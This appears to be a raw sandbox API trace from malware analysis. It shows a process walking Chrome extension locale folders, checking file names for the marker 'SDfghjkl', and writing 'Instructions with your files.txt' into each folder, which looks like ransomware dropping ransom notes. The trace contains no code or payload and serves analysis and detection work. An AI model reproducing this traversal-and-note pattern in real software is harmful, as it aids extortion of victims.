[0130.070] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
[0130.070] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil") returned 142
[0130.070] GetProcessHeap () returned 0x810000
[0130.070] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.070] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\*") returned 144
[0130.071] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.071] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\.") returned 144
[0130.071] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.071] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\..") returned 145
[0130.071] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.071] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 156
[0130.072] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.072] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.072] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\Instructions with your files.txt") returned 175
[0130.072] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.072] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.073] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.073] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.073] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.073] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.073] CloseHandle (hObject=0x134) returned 1
[0130.073] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.073] GetProcessHeap () returned 0x810000
[0130.073] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.073] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
[0130.073] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr") returned 141
[0130.073] GetProcessHeap () returned 0x810000
[0130.073] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.074] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\*") returned 143
[0130.074] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.074] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\.") returned 143
[0130.074] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.074] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\..") returned 144
[0130.074] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.074] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 155
[0130.074] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.074] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.074] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\Instructions with your files.txt") returned 174
[0130.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.074] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.075] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.075] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.075] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.076] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.076] CloseHandle (hObject=0x134) returned 1
[0130.076] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.076] GetProcessHeap () returned 0x810000
[0130.076] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.076] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
[0130.076] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi") returned 141
[0130.076] GetProcessHeap () returned 0x810000
[0130.076] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.076] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\*") returned 143
[0130.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.076] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\.") returned 143
[0130.076] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.076] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\..") returned 144
[0130.076] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.076] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 155
[0130.076] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.076] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.076] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\Instructions with your files.txt") returned 174
[0130.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.077] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.078] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.078] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.078] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.078] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.078] CloseHandle (hObject=0x134) returned 1
[0130.078] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.078] GetProcessHeap () returned 0x810000
[0130.078] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.078] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
[0130.079] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr") returned 141
[0130.079] GetProcessHeap () returned 0x810000
[0130.079] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.079] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\*") returned 143
[0130.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.079] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\.") returned 143
[0130.079] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.079] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\..") returned 144
[0130.079] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.079] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 155
[0130.079] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
